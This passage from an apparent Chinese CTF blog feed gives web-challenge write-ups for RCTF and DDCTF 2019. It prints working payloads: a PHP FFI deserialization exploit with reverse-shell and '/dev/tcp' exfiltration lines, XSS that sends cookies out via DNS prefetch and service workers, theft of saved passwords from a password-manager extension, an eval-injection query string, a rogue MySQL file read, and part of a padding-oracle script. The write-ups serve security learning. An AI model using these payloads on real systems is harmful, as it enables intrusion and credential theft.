class="keyword">$this</span>-&gt;data[$key];</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__set</span> <span class="params">($key, $value)</span> </span>&#123;</span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> \<span class="keyword">Exception</span>(<span class="string">'No implemented'</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span> <span class="params">()</span> </span>&#123;</span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> \<span class="keyword">Exception</span>(<span class="string">'No implemented'</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>里面是一个继承序列化类的自定义类，同时在phpinfo中看到它被<code>opcache.preload</code>预加载了。 </p><p>感觉这里是有突破口的，搜了一圈发现只有php文档有资料，当时没有什么空就放弃了。 </p><p>看了zsx大佬的<a href="https://github.com/zsxsoft/my-ctf-challenges/tree/master/rctf2019/nextphp" target="_blank" rel="noopener">writeup</a>之后，发现这个php是7.4的开发版本，开发版经常会有新特性，这里就是利用一个新特性<code>FFI-Foreign Function Interface</code>，中文叫外部函数接口。 </p><p>利用这个我们可以引用被禁用的函数，但是由于<code>__set</code>被设置成报错，所以没有办法对<code>$data</code>赋值。所以这里需要调用<code>__unserialize</code>，这里又有一个新机制，在这个类即继承了反序列化类，又拥有<code>__serialize()/__unserialize()</code>，就会优先执行这种方法。 </p><p>所以我们只需要构造一个类，先正常序列化，修改成<code>class A</code>，然后再反序列化，这样就会覆盖原始的值，同时并不是直接赋值，所以也不会触发<code>__set</code>。最后，利用ffi引入命令执行函数，执行命令反弹shell。 </p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">D</span> <span class="keyword">implements</span> <span class="title">Serializable</span> </span>&#123;</span><br><span class="line">    <span class="keyword">protected</span> $data = [</span><br><span class="line">        <span class="string">'ret'</span> =&gt; <span class="keyword">null</span>,</span><br><span class="line">        <span class="string">'func'</span> =&gt; <span class="string">'FFI::cdef'</span>,</span><br><span class="line">        <span class="string">'arg'</span> =&gt; <span class="string">'int system(const char *command);'</span></span><br><span class="line">    ];</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">serialize</span> <span class="params">()</span>: <span class="title">string</span> </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> serialize(<span class="keyword">$this</span>-&gt;data);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">unserialize</span><span class="params">($payload)</span> </span>&#123;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;data = unserialize($payload);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">$a = <span class="keyword">new</span> D();</span><br><span class="line">$b = serialize($a);</span><br><span class="line">$b = str_replace(<span class="string">'"D"'</span>, <span class="string">'"A"'</span>, $b);</span><br><span class="line"><span class="keyword">echo</span> urlencode($b);</span><br><span class="line"><span class="comment">//$d = unserialize($b);</span></span><br><span class="line"><span class="comment">//$d-&gt;ret-&gt;system('bash -i &gt;&amp; /dev/tcp/xxxx/8080 0&gt;&amp;1');</span></span><br></pre></td></tr></table></figure><p>这样就把反序列化数据带入最后两行，在远程服务端执行，就可以了。但是这中间有一个坑，就是没有办法反弹shell，只能一次一次的执行命令后回传到vps主机上。 </p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$d-&gt;ret-&gt;system(&apos;bash -c &quot;cat /flag &gt; /dev/tcp/xxxx/xxxx&quot;&apos;);</span><br></pre></td></tr></table></figure><img src="/2019/05/24/2019rctf-some-writeup/1.jpg"><h2 id="jail"><a href="#jail" class="headerlink" title="jail"></a>jail</h2><p>漏洞点比较直接，在post区域中没有任何过滤，可以任意输入，是一个存储型xss，但是奈何有csp。 </p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">content-security-policy</span>: sandbox allow-scripts allow-same-origin; base-uri 'none';default-src 'self';script-src 'unsafe-inline' 'self';connect-src 'none';object-src 'none';frame-src 'none';font-src data: 'self';style-src 'unsafe-inline' 'self';</span><br></pre></td></tr></table></figure><p>由于有沙盒，所以没有办法正常外连传输数据，同时由于有banner导致没有办法自动跳转，这里思路有这么几个。 </p><ol><li><p>一般这种连接是没有限制dns查询的，所以可以使用dns外带数据，这里的方法主要是<code>&lt;link rel=&quot;dns-prefetch&quot; href=xxxxx.xxxxx.xxxx&gt;</code>，这样在dns记录中就可以查到我们想要的数据。 </p></li><li><p>利用某些服务机制绕过csp的策略，zsx的writeup中介绍了两种，一个是WebRTC服务会忽略<code>connect-src</code>，<a href="https://github.com/w3c/webrtc-pc/issues/1727" target="_blank" rel="noopener">https://github.com/w3c/webrtc-pc/issues/1727</a>。另外一种是利用service worker，这个是js在浏览器注册的一种持续化的服务，这个服务会优先使用它自己的csp策略，所以直接传输空的csp策略就可以绕过。 </p></li></ol><p>由于这道题目是直接开启了script的<code>unsafe-inline</code>，所以是可以直接上script标签的。这里是直接用最简单的dns外带数据的方法。 </p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">toHex</span>(<span class="params">s</span>)</span>&#123;</span><br><span class="line">    <span class="keyword">var</span> val = <span class="string">""</span>;</span><br><span class="line">    <span class="keyword">for</span> (<span class="keyword">var</span> i = <span class="number">0</span>; i &lt; s.length; i++) &#123;</span><br><span class="line">        val += s.charCodeAt(i).toString(<span class="number">16</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> val;</span><br><span class="line">&#125;</span><br><span class="line">c = <span class="built_in">document</span>.cookie.split(<span class="string">";"</span>);</span><br><span class="line">head = <span class="built_in">document</span>.getElementsByTagName(<span class="string">"HEAD"</span>)[<span class="number">0</span>];</span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">var</span> i=<span class="number">0</span>; i&lt;c.length;i++)</span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">var</span> t = c[i];</span><br><span class="line">    <span class="keyword">if</span> (t.indexOf(<span class="string">"flag="</span>) &gt; <span class="number">-1</span>)&#123;</span><br><span class="line">        t = toHex(t.split(<span class="string">"="</span>)[<span class="number">1</span>]);</span><br><span class="line">        <span class="keyword">for</span>(<span class="keyword">var</span> j = <span class="number">0</span>; j &lt; <span class="number">5</span>; j++)&#123;</span><br><span class="line">            <span class="keyword">var</span> tt =t.substr(j*<span class="number">20</span>,<span class="number">20</span>);</span><br><span class="line">            <span class="keyword">if</span> (tt.length == <span class="number">0</span>) <span class="keyword">break</span>;</span><br><span class="line">            head.innerHTML = head.innerHTML + <span class="string">"&lt;link rel=\"dns-prefetch\" href=\"//v_"</span>+j+<span class="string">"_"</span> + tt+  <span class="string">".flag.xxxxxx.ceye.io\"&gt;"</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>将dns外带数据传给ceye，一个dns的log平台，收到数据之后hex解码即可得到flag。 </p><img src="/2019/05/24/2019rctf-some-writeup/2.jpg"><p>当然预期解法是service worker，这里通过文件上传js，然后在post处引用。因为service worker机制的问题，可以绕过原来的csp设置。顺带一提，必须要是https才行。 </p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">fetch(<span class="string">'https://YOUR_DOMAIN/?'</span> + <span class="built_in">encodeURIComponent</span>(globalThis.location.href), &#123;<span class="attr">mode</span>: <span class="string">'no-cors'</span>&#125;)</span><br></pre></td></tr></table></figure><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="javascript"> navigator.serviceWorker.register(<span class="string">'/uploads/21ca75a36c5cdacfd4653fadb2553242.js?'</span> + <span class="built_in">encodeURIComponent</span>(<span class="built_in">document</span>.cookie), &#123;<span class="attr">scope</span>: <span class="string">'/uploads/'</span>&#125;); </span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><h2 id="password"><a href="#password" class="headerlink" title="password"></a>password</h2><p>延续上一道题目的环境，只不过这次需要获取管理员的密码。是一道很有意思的题目，看完题解之后，发现它是利用密码管理软件的自动提示功能来获得密码。</p><p>这里只能通过service worker来完成，首先看到提示之后去读取<code>document.body.innerHTML</code>，可以拿到一些有趣的数据，在里面可以看到有cip这个单词，查询之后知道是chromeipass。</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="javascript"> setTimeout(<span class="function"><span class="params">()</span> =&gt;</span> &#123;navigator.serviceWorker.register(<span class="string">'/uploads/511b3c8839bd36230c4aa3c5ff5545ef.js?'</span> + <span class="built_in">encodeURIComponent</span>(<span class="built_in">document</span>.body.innerHTML), &#123;<span class="attr">scope</span>:<span class="string">'/uploads/'</span>&#125;);&#125;, <span class="number">1000</span>) </span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><p>这时我们在post的地方增加两个input，一个是username，一个是password，控制脚本去点击这个username的input，然后再去读取<code>document.body.innerHTML</code>。发现会多出一些条目，在其中可以看到flag的选项。</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">"username"</span> <span class="attr">name</span>=<span class="string">"username"</span>&gt;</span><span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">"password"</span> <span class="attr">name</span>=<span class="string">"password"</span>&gt;</span> <span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="javascript">setTimeout(<span class="function"><span class="params">()</span>=&gt;</span>&#123; <span class="built_in">document</span>.querySelector(<span class="string">'[type=username]'</span>).click() &#125;,<span class="number">500</span>); setTimeout(<span class="function"><span class="params">()</span> =&gt;</span> &#123;navigator.serviceWorker.register(<span class="string">'/uploads/511b3c8839bd36230c4aa3c5ff5545ef.js?'</span> + <span class="built_in">encodeURIComponent</span>(<span class="built_in">document</span>.body.innerHTML), &#123;<span class="attr">scope</span>:<span class="string">'/uploads/'</span>&#125;);&#125;, <span class="number">1000</span>) </span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><p>很明显了，只要选择flag为用户名，再去读取密码就可以了。最后读取flag的password的脚本，配合上之前jail同样的service worker的js，就能收到flag了。</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">"username"</span> <span class="attr">name</span>=<span class="string">"username"</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">"password"</span> <span class="attr">name</span>=<span class="string">"password"</span> <span class="attr">id</span>=<span class="string">"password"</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="undefined"></span></span><br><span class="line"><span class="javascript">  setTimeout(<span class="function"><span class="params">()</span>=&gt;</span>&#123;<span class="built_in">document</span>.querySelector(<span class="string">'[type=username]'</span>).click()&#125;,<span class="number">500</span>);</span></span><br><span class="line"><span class="javascript">  setTimeout(<span class="function"><span class="params">()</span>=&gt;</span>&#123;<span class="built_in">document</span>.getElementById(<span class="string">'cip-ui-id-4'</span>).click()&#125;, <span class="number">1000</span>);</span></span><br><span class="line"><span class="javascript">  setTimeout(<span class="function"><span class="params">()</span> =&gt;</span> &#123;navigator.serviceWorker.register(<span class="string">'/uploads/511b3c8839bd36230c4aa3c5ff5545ef.js?'</span> + <span class="built_in">encodeURIComponent</span>(<span class="built_in">document</span>.getElementById(<span class="string">'password'</span>).value), &#123;<span class="attr">scope</span>:<span class="string">'/uploads/'</span>&#125;);&#125;, <span class="number">1500</span>)</span></span><br><span class="line"><span class="undefined"></span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><p>通过这道题我们也知道浏览器保管密码也是会被偷取的，这里拓展一下，是能够写个脚本遍历所有的用户名和密码然后依次发送回xss平台的。</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;一年一度的RCTF开始了，又能学一波骚操作，RCTF的web题目去年就非常好，今年也特别出色。由于研究所月赛的原因没有参与其中，所以赛后来复现一下。&lt;/p&gt;
&lt;h2 id=&quot;nextphp&quot;&gt;&lt;a href=&quot;#nextphp&quot; class=&quot;headerlink&quot; tit
      
    
    </summary>
    
      <category term="技术" scheme="https://hurricane618.me/categories/%E6%8A%80%E6%9C%AF/"/>
    
    
      <category term="CTF" scheme="https://hurricane618.me/tags/CTF/"/>
    
  </entry>
  
  <entry>
    <title>2019DDCTF 未解决的web题 writeup</title>
    <link href="https://hurricane618.me/2019/04/29/2019ddctf-unsolved-writeup/"/>
    <id>https://hurricane618.me/2019/04/29/2019ddctf-unsolved-writeup/</id>
    <published>2019-04-29T06:52:54.000Z</published>
    <updated>2019-04-29T06:57:07.567Z</updated>
    
    <content type="html"><![CDATA[<h2 id="homebrew-event-loop"><a href="#homebrew-event-loop" class="headerlink" title="homebrew event loop"></a>homebrew event loop</h2><p>一道python的代码审计题目，题目的入口点会检测url中携带的参数并且初始化session的值。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">entry_point</span><span class="params">()</span>:</span></span><br><span class="line">  querystring = urllib.unquote(request.query_string)</span><br><span class="line">  request.event_queue = []</span><br><span class="line">  <span class="keyword">if</span> querystring == <span class="string">''</span> <span class="keyword">or</span> (<span class="keyword">not</span> querystring.startswith(<span class="string">'action:'</span>)) <span class="keyword">or</span> len(querystring) &gt; <span class="number">100</span>:</span><br><span class="line">    querystring = <span class="string">'action:index;False#False'</span></span><br><span class="line">  <span class="keyword">if</span> <span class="string">'num_items'</span> <span class="keyword">not</span> <span class="keyword">in</span> session:</span><br><span class="line">    session[<span class="string">'num_items'</span>] = <span class="number">0</span></span><br><span class="line">    session[<span class="string">'points'</span>] = <span class="number">3</span></span><br><span class="line">    session[<span class="string">'log'</span>] = []</span><br><span class="line">  request.prev_session = dict(session)</span><br><span class="line">  trigger_event(querystring)</span><br><span class="line">  <span class="keyword">return</span> execute_event_loop()</span><br></pre></td></tr></table></figure><p>这里看到对查询参数有转义，同时有一定的限制，比如开头必须为<code>action:</code>，同时长度不能超过100。</p><p>在进入处理事件循环之前会先将查询参数添加进事件记录中。这里可以看到会对<code>event</code>做判断，所以它既可以传数列也可以是单个值，这里是这道题目的关键点之一，它的参数是可以传数列的。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">trigger_event</span><span class="params">(event)</span>:</span></span><br><span class="line">  session[<span class="string">'log'</span>].append(event)</span><br><span class="line">  <span class="keyword">if</span> len(session[<span class="string">'log'</span>]) &gt; <span class="number">5</span>: session[<span class="string">'log'</span>] = session[<span class="string">'log'</span>][<span class="number">-5</span>:]</span><br><span class="line">  <span class="keyword">if</span> type(event) == type([]):</span><br><span class="line">    request.event_queue += event</span><br><span class="line">  <span class="keyword">else</span>:</span><br><span class="line">    request.event_queue.append(event)</span><br></pre></td></tr></table></figure><p>这之后就会进入事件处理循环中，最关键的一点是针对事件的处理，从事件队列中取出一个，随后会判断是否为<code>action</code>，将<code>:</code>和<code>;</code>之间的字符串当作函数动作名，并且把剩下的字符串用<code>#</code>切分当作参数。函数动作拼接后缀字符串之后用<code>eval</code>执行成为相应的函数，最后函数带入参数执行。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">execute_event_loop</span><span class="params">()</span>:</span></span><br><span class="line">    ...</span><br><span class="line">    event = request.event_queue[<span class="number">0</span>] <span class="comment"># `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"</span></span><br><span class="line">request.event_queue = request.event_queue[<span class="number">1</span>:]</span><br><span class="line">    ...</span><br><span class="line">is_action = event[<span class="number">0</span>] == <span class="string">'a'</span></span><br><span class="line">action = get_mid_str(event, <span class="string">':'</span>, <span class="string">';'</span>)</span><br><span class="line">args = get_mid_str(event, action+<span class="string">';'</span>).split(<span class="string">'#'</span>)</span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line">event_handler = eval(action + (<span class="string">'_handler'</span> <span class="keyword">if</span> is_action <span class="keyword">else</span> <span class="string">'_function'</span>))</span><br><span class="line">ret_val = event_handler(args)</span><br><span class="line">    ...</span><br></pre></td></tr></table></figure><p>大致的流程就是这样，这里题目的关键点是下面的<code>getflag</code>函数，可以看到当session中的数量大于5的时候会将flag添加进事件记录中，同时事件队列也会添加这个任务。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">show_flag_function</span><span class="params">(args)</span>:</span></span><br><span class="line">  flag = args[<span class="number">0</span>]</span><br><span class="line">  <span class="comment">#return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.</span></span><br><span class="line">  <span class="keyword">return</span> <span class="string">'You naughty boy! ;) &lt;br /&gt;'</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">get_flag_handler</span><span class="params">(args)</span>:</span></span><br><span class="line">  <span class="keyword">if</span> session[<span class="string">'num_items'</span>] &gt;= <span class="number">5</span>:</span><br><span class="line">    trigger_event(<span class="string">'func:show_flag;'</span> + FLAG()) <span class="comment"># show_flag_function has been disabled, no worries</span></span><br><span class="line">  trigger_event(<span class="string">'action:view;index'</span>)</span><br></pre></td></tr></table></figure><p>但是起始的点数为3，我们怎么才能获得5个钻石？这就要分析购买钻石的操作流程了，这里的购买操作会先增加钻石数量，然后将消费操作加入事件队列中，这就是说购买和消费是分开的并不是原子操作。那么我们可以购买多个钻石，在消费操作之前执行<code>getflag</code>函数就能把flag存入事件队列中。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">buy_handler</span><span class="params">(args)</span>:</span></span><br><span class="line">  num_items = int(args[<span class="number">0</span>])</span><br><span class="line">  <span class="keyword">if</span> num_items &lt;= <span class="number">0</span>: <span class="keyword">return</span> <span class="string">'invalid number(&#123;&#125;) of diamonds to buy&lt;br /&gt;'</span>.format(args[<span class="number">0</span>])</span><br><span class="line">  session[<span class="string">'num_items'</span>] += num_items </span><br><span class="line">  trigger_event([<span class="string">'func:consume_point;&#123;&#125;'</span>.format(num_items), <span class="string">'action:view;index'</span>])</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">consume_point_function</span><span class="params">(args)</span>:</span></span><br><span class="line">  point_to_consume = int(args[<span class="number">0</span>])</span><br><span class="line">  <span class="keyword">if</span> session[<span class="string">'points'</span>] &lt; point_to_consume: <span class="keyword">raise</span> RollBackException()</span><br><span class="line">  session[<span class="string">'points'</span>] -= point_to_consume</span><br></pre></td></tr></table></figure><p>好了，我当时就卡在这里，不知道该怎么走下去。因为这里如果按照常规操作只能一次执行一个函数，并不能一次性多次购买，这是第一个问题；第二，就算多次购买之后执行<code>getflag</code>我们也仅仅是把flag放进了事件队列中，而每个事件是独立的没有办法获取前面事件的参数。</p><p>针对第一个问题，如何一次性多次购买，这里就要观察代码中它是如何多次执行的，<code>trigger_event([&#39;func:consume_point;{}&#39;.format(num_items), &#39;action:view;index&#39;])</code>，使用了<code>trigger_event</code>传入数列，其中数列就是多个操作的集合，所以这里我们也看看能不能调用<code>trigger_event</code>。这里用到了一个作者设计上的问题，如果<code>action</code>中包含<code>#</code>，恰好这个符号是python中的注释符号，那么这个语句中<code>eval(action + (&#39;_handler&#39; if is_action else &#39;_function&#39;))</code>那个<code>#</code>就可以截断后面的后缀，这里的action就是任意代码执行。</p><p>我们的payload：<code>action:trigger_event%23;action:xxx;arg1%23action:xxx;arg2%23</code>，这样后面的参数部分跟着想要调用的函数就可以被<code>trigger_event</code>加进事件队列中，这样我们就可以一次性多次购买了，同时调用<code>getflag</code>就能添加flag进事件队列中。payload：<code>action:trigger_event%23;action:buy;1%23action:buy;1%23action:get_flag;1</code>。</p><p>针对第二个问题，flag已经进入到事件队列中了，怎么查看？这就涉及到flask的session设计了，之前ph牛讲过这类session是和jwt类似的原理。里面的东西是可以被解密的，不能存放用户凭证或者其他一些机密数据。<code>session[&#39;log&#39;].append(event)</code>，这里session会记录事件，所以flag最后也会被记录在里面，那么我们只要调用<code>get_flag</code>之后，我们的session中就会有相关记录，最后只需要解密就可以拿到flag。</p><p>在本地操作可以看到拿到了测试用的flag。</p><img src="/2019/04/29/2019ddctf-unsolved-writeup/1.png"><p>这里需要注意的一点是由于查询字符串会被限制在长度100以内，所以我们需要先正常购买三个钻石，然后再使用上面的方法一次性再购买两个，之后马上调用<code>get_flag</code>。这最后的解密是使用<a href="https://github.com/Paradoxis/Flask-Unsign" target="_blank" rel="noopener">https://github.com/Paradoxis/Flask-Unsign</a></p><p>虽然最后会出现报错，如下图：</p><img src="/2019/04/29/2019ddctf-unsolved-writeup/2.png"><p>但是，flag已经写进了session中，并且没有删除，这就是关键点。</p><img src="/2019/04/29/2019ddctf-unsolved-writeup/3.png"><p>解密数据拿到flag。</p><h2 id="mysql弱口令"><a href="#mysql弱口令" class="headerlink" title="mysql弱口令"></a>mysql弱口令</h2><p>从网站页面看来是一个类似<code>hydra</code>的扫描网站，它会去连接我们提供的IP和端口。这里其实比较明显了，在之前比赛遇到的MySQL client读取的漏洞有关，同样是网站担当客户端去请求MySQL服务端。</p><p>如果正常的去扫描的话结果如下：</p><img src="/2019/04/29/2019ddctf-unsolved-writeup/4.png"><p>使用<code>tcpdump</code>抓包的结果是显示没有权限去访问。。。而且由于服务端开启了SSL加密，所以并不能开到所有有用的信息。</p><img src="/2019/04/29/2019ddctf-unsolved-writeup/5.png"><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">CREATE USER &apos;root&apos;@&apos;117.51.147.155&apos; IDENTIFIED BY &apos;&apos;;</span><br><span class="line">grant all privileges on *.* to &apos;root&apos;@&apos;117.51.147.155&apos; IDENTIFIED BY &apos;&apos; with grant option;</span><br></pre></td></tr></table></figure><p>所以创建一个授权的用户之后，再次抓包来观察数据情况。</p><img src="/2019/04/29/2019ddctf-unsolved-writeup/6.png"><img src="/2019/04/29/2019ddctf-unsolved-writeup/7.png"><p>它会以用户名为root，密码为空的请求来访问我们的MySQL服务端。那么从MySQL官方文档中我们就可以知道，<code>A patched server could in fact reply with a file-transfer request to any statement, not just LOAD DATA LOCAL</code>，不仅仅是在读文件操作可以获取本地文件，其他操作依旧可以，但是客户端必须要开启加载本地文件的选项。</p><p><a href="http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/" target="_blank" rel="noopener">http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/</a>从这篇博文中我们获得一个恶意MySQL的脚本，为了让客户端发出查询的操作：</p><ol><li>服务端需要发送<code>Server Greeting</code></li><li>等待客户端回复<code>Query Package</code></li><li>发送<code>file transfer</code>请求</li></ol><p>当然这些格式在官方文档中都有，也可以通过抓包确认。</p><p><a href="https://dev.mysql.com/doc/internals/en/connection-phase-packets.html#packet-Protocol::Handshake" target="_blank" rel="noopener">MySQL握手包</a>，<a href="https://dev.mysql.com/doc/internals/en/com-query-response.html" target="_blank" rel="noopener">文件传输包</a></p><p>然后py脚本开始！点击扫描！然后：</p><img src="/2019/04/29/2019ddctf-unsolved-writeup/8.png"><p>emmmm？？？这是什么鬼？随后仔细看了看题目给的<code>agent.py</code>和抓包中的奇怪http请求，才发现原来这个代理是用来检测服务器上运行的进程的。</p><img src="/2019/04/29/2019ddctf-unsolved-writeup/9.png"><p>那么这样就只能在返回的数据包中手动添加<code>mysqld</code>，来让客户端认为服务端是开启状态。</p><img src="/2019/04/29/2019ddctf-unsolved-writeup/10.png"><p>测试成功，读取到了<code>/etc/passwd</code>的数据。那么接下来就是找flag的过程了。这里是直接读取<code>.bash_history</code>，shell的历史记录来回溯出题人的操作过程，发现最后的<code>/home/dc2-user/ctf_web_2/app/main/views.py</code>。</p><p>在文件中有一条注释<code># flag in mysql  curl@localhost database:security  table:flag</code>，这就知道了flag在数据库中，这里直接读数据库文件就可以了，根据mysql的数据库存储规则<code>/var/lib/mysql/database/table.idb</code>，读取文件<code>/var/lib/mysql/security/flag.idb</code>。</p><p>坑点：在启动伪装mysql的时候，可能一开始扫描会有些问题，有可能是端口释放需要一定的时间。所以如果一次不行，就要多扫几次。</p><p>小技巧：怎么处理这么大一堆字符串，直接复制粘贴，在python中print一下就完事。简单粗暴，不用写脚本，不用手动排版。</p><h2 id="再来一杯Java"><a href="#再来一杯Java" class="headerlink" title="再来一杯Java"></a>再来一杯Java</h2><p>根据题目的要求捆绑hosts，访问链接之后，在cookie中发现token。base64解码之后发现有hint，<code>PadOracle,cbc</code>。</p><img src="/2019/04/29/2019ddctf-unsolved-writeup/11.png"><p>在这之后就是针对cookie做<code>padding oracle</code>和<code>cbc翻转</code>攻击。因为去除首部的描述字符的16位为IV，剩下的是推测的16位字符为一组的密文，那么这样的话就是16位字符串为一个区块。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">xor</span><span class="params">(a, b)</span>:</span></span><br><span class="line">    <span class="keyword">return</span> <span class="string">""</span>.join([chr(ord(a[i]) ^ ord(b[i % len(b)])) <span class="keyword">for</span> i <span class="keyword">in</span> xrange(len(a))])</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">padding_oracle</span><span class="params">(ciper_hex, N)</span>:</span></span><br><span class="line">    get = <span class="string">""</span></span><br><span class="line">    <span 